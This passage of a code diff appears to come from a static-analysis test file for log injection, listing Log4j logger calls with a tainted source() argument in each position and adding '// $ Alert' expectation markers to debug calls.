null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.log((Level) null, (String) source(), (Supplier) null); - logger.log((Level) null, (String) null, (Supplier) source()); - logger.log((Level) null, (String) source(), (Throwable) null); - logger.log((Level) null, (Supplier) source()); - logger.log((Level) null, (Supplier) source(), (Throwable) null); - logger.trace((CharSequence) source()); - logger.trace((CharSequence) source(), (Throwable) null); - logger.trace((Marker) null, (CharSequence) source()); - logger.trace((Marker) null, (CharSequence) source(), null); - logger.trace((Marker) null, (Message) source()); - logger.trace((Marker) null, (MessageSupplier) source()); - logger.trace((Marker) null, (MessageSupplier) source(), null); - logger.trace((Marker) null, source()); - logger.trace((Marker) null, (String) source()); - logger.trace((Marker) null, (String) source(), new Object[] {}); - logger.trace((Marker) null, (String) null, new Object[] {source()}); - logger.trace((Marker) null, (String) null, (Object) source()); - logger.trace((Marker) null, (String) source(), (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) source()); - logger.trace((Marker) null, (String) null, (Object) source(), (Object) null); - logger.trace((Marker) null, (String) source(), (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); - logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); - logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); - logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((Marker) null, (String) source(), (Supplier) null); - logger.trace((Marker) null, (String) null, (Supplier) source()); - logger.trace((Marker) null, (String) source(), (Throwable) null); - logger.trace((Marker) null, (Supplier) source()); - logger.trace((Marker) null, (Supplier) source(), (Throwable) null); - logger.trace((MessageSupplier) source()); - logger.trace((MessageSupplier) source(), (Throwable) null); - logger.trace((Message) source()); - logger.trace((Message) source(), (Throwable) null); - logger.trace(source()); - logger.trace(source(), (Throwable) null); - logger.trace((String) source()); - logger.trace((String) source(), (Object[]) null); - logger.trace((String) null, new Object[] {source()}); - logger.trace((String) null, (Object) source()); - logger.trace((String) source(), (Object) null); - logger.trace((String) null, (Object) null, (Object) source()); - logger.trace((String) null, (Object) source(), (Object) null); - logger.trace((String) source(), (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) source()); - logger.trace((String) null, (Object) null, (Object) source(), (Object) null); - logger.trace((String) null, (Object) source(), (Object) null, (Object) null); - logger.trace((String) source(), (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.trace((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.trace((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.trace((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.trace((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.trace((String) source(), (Supplier) null); - logger.trace((String) null, (Supplier) source()); - logger.trace((String) source(), (Throwable) null); - logger.trace((Supplier) source()); - logger.trace((Supplier) source(), (Throwable) null); - logger.warn((CharSequence) source()); - logger.warn((CharSequence) source(), (Throwable) null); - logger.warn((Marker) null, (CharSequence) source()); - logger.warn((Marker) null, (CharSequence) source(), null); - logger.warn((Marker) null, (Message) source()); - logger.warn((Marker) null, (MessageSupplier) source()); - logger.warn((Marker) null, (MessageSupplier) source(), null); - logger.warn((Marker) null, source()); - logger.warn((Marker) null, (String) source()); - logger.warn((Marker) null, (String) source(), new Object[] {}); - logger.warn((Marker) null, (String) null, new Object[] {source()}); - logger.warn((Marker) null, (String) null, (Object) source()); - logger.warn((Marker) null, (String) source(), (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) source()); - logger.warn((Marker) null, (String) null, (Object) source(), (Object) null); - logger.warn((Marker) null, (String) source(), (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); - logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); - logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); - logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((Marker) null, (String) source(), (Supplier) null); - logger.warn((Marker) null, (String) null, (Supplier) source()); - logger.warn((Marker) null, (String) source(), (Throwable) null); - logger.warn((Marker) null, (Supplier) source()); - logger.warn((Marker) null, (Supplier) source(), (Throwable) null); - logger.warn((MessageSupplier) source()); - logger.warn((MessageSupplier) source(), (Throwable) null); - logger.warn((Message) source()); - logger.warn((Message) source(), (Throwable) null); - logger.warn(source()); - logger.warn(source(), (Throwable) null); - logger.warn((String) source()); - logger.warn((String) source(), (Object[]) null); - logger.warn((String) null, new Object[] {source()}); - logger.warn((String) null, (Object) source()); - logger.warn((String) source(), (Object) null); - logger.warn((String) null, (Object) null, (Object) source()); - logger.warn((String) null, (Object) source(), (Object) null); - logger.warn((String) source(), (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) source()); - logger.warn((String) null, (Object) null, (Object) source(), (Object) null); - logger.warn((String) null, (Object) source(), (Object) null, (Object) null); - logger.warn((String) source(), (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.warn((String) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.warn((String) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.warn((String) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.warn((String) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); - logger.warn((String) source(), (Supplier) null); - logger.warn((String) null, (Supplier) source()); - logger.warn((String) source(), (Throwable) null); - logger.warn((Supplier) source()); - logger.warn((Supplier) source(), (Throwable) null); + logger.debug((CharSequence) source()); // $ Alert + logger.debug((CharSequence) source(), (Throwable) null); // $ Alert + logger.debug((Marker) null, (CharSequence) source()); // $ Alert + logger.debug((Marker) null, (CharSequence) source(), null); // $ Alert + logger.debug((Marker) null, (Message) source()); // $ Alert + logger.debug((Marker) null, (MessageSupplier) source()); // $ Alert + logger.debug((Marker) null, (MessageSupplier) source(), null); // $ Alert + logger.debug((Marker) null, source()); // $ Alert + logger.debug((Marker) null, (String) source()); // $ Alert + logger.debug((Marker) null, (String) source(), new Object[] {}); // $ Alert + logger.debug((Marker) null, (String) null, new Object[] {source()}); // $ Alert + logger.debug((Marker) null, (String) null, (Object) source()); // $ Alert + logger.debug((Marker) null, (String) source(), (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) source()); // $ Alert + logger.debug((Marker) null, (String) null, (Object) source(), (Object) null); // $ Alert + logger.debug((Marker) null, (String) source(), (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) source(), (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source()); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null); // $ Alert + logger.debug((Marker) null, (String) null, (Object) null, (Object) null, (Object) source(), (Object) null, (Object) null, (Object) null, (Object) null); // $ Alert + 